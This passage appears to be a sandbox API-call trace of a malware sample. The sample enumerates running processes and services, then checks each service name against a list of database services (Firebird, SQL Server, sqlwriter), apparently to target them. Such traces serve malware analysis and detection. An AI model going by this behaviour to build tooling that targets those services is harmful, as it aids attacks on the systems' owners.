	[0074.249] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0074.249] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0074.250] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0074.250] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1
	[0074.250] lstrlenW (lpString="sc.exe") returned 6
	[0074.250] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0074.251] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0074.251] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0074.252] lstrlenW (lpString="UsoClient.exe") returned 13
	[0074.252] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.252] lstrlenW (lpString="conhost.exe") returned 11
	[0074.252] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x116c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.253] lstrlenW (lpString="conhost.exe") returned 11
	[0074.253] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.254] lstrlenW (lpString="conhost.exe") returned 11
	[0074.254] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.254] lstrlenW (lpString="svchost.exe") returned 11
	[0074.254] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0074.255] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0074.255] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.256] lstrlenW (lpString="svchost.exe") returned 11
	[0074.256] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0074.256] lstrlenW (lpString="cmd.exe") returned 7
	[0074.256] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.257] lstrlenW (lpString="conhost.exe") returned 11
	[0074.257] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0074.257] lstrlenW (lpString="dllhost.exe") returned 11
	[0074.257] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0074.258] CloseHandle (hObject=0x378) returned 1
	[0074.258] Sleep (dwMilliseconds=0x1f4) 
	[0075.393] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53efb8
	[0075.394] EnumServicesStatusExW (in: hSCManager=0x53efb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0075.394] GetLastError () returned 0xea
	[0075.394] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x562ef8
	[0075.394] EnumServicesStatusExW (in: hSCManager=0x53efb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x562ef8, cbBufSize=0x1ce8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x562ef8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0075.395] CloseServiceHandle (hSCObject=0x53efb8) returned 1
	[0075.396] lstrlenW (lpString="Appinfo") returned 7
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0075.396] lstrlenW (lpString="AppXSvc") returned 7
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0075.396] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0075.396] lstrlenW (lpString="Audiosrv") returned 8
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0075.396] lstrlenW (lpString="BFE") returned 3
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0075.396] lstrlenW (lpString="BITS") returned 4
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0075.397] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0075.397] lstrlenW (lpString="CDPSvc") returned 6
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0075.397] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0075.397] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0075.397] lstrlenW (lpString="CryptSvc") returned 8
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0075.397] lstrlenW (lpString="DcomLaunch") returned 10
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0075.398] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0075.398] lstrlenW (lpString="Dhcp") returned 4
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0075.398] lstrlenW (lpString="Dnscache") returned 8
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0075.398] lstrlenW (lpString="DoSvc") returned 5
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0075.398] lstrlenW (lpString="DPS") returned 3
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0075.399] lstrlenW (lpString="DusmSvc") returned 7
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0075.399] lstrlenW (lpString="EventLog") returned 8
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0075.399] lstrlenW (lpString="EventSystem") returned 11
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0075.399] lstrlenW (lpString="FontCache") returned 9
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0075.399] lstrlenW (lpString="gpsvc") returned 5
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0075.399] lstrlenW (lpString="iphlpsvc") returned 8
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0075.400] lstrlenW (lpString="KeyIso") returned 6
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0075.400] lstrlenW (lpString="LanmanServer") returned 12
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0075.400] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0075.400] lstrlenW (lpString="lfsvc") returned 5
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0075.400] lstrlenW (lpString="lmhosts") returned 7
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0075.400] lstrlenW (lpString="LSM") returned 3
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0075.401] lstrlenW (lpString="MapsBroker") returned 10
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0075.401] lstrlenW (lpString="MpsSvc") returned 6
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0075.401] lstrlenW (lpString="NcbService") returned 10
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0075.401] lstrlenW (lpString="netprofm") returned 8
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0075.401] lstrlenW (lpString="NlaSvc") returned 6
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0075.402] lstrlenW (lpString="nsi") returned 3
	[0075.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0075.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0075.402] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0075.402] lstrlenW (lpString="PcaSvc") returned 6
	[0075.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0075.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0075.402] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0075.402] lstrlenW (lpString="PlugPlay") returned 8
	[0075.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0075.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0075.402] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0075.402] lstrlenW (lpString="Power") returned 5
	[0075.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0075.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0075.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0075.402] lstrlenW (lpString="ProfSvc") returned 7
	[0075.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0075.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0075.402] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0075.402] lstrlenW (lpString="RpcEptMapper") returned 12
	[0075.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0075.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0075.403] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0075.403] lstrlenW (lpString="RpcSs") returned 5
	[0075.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0075.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0075.403] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0075.403] lstrlenW (lpString="SamSs") returned 5
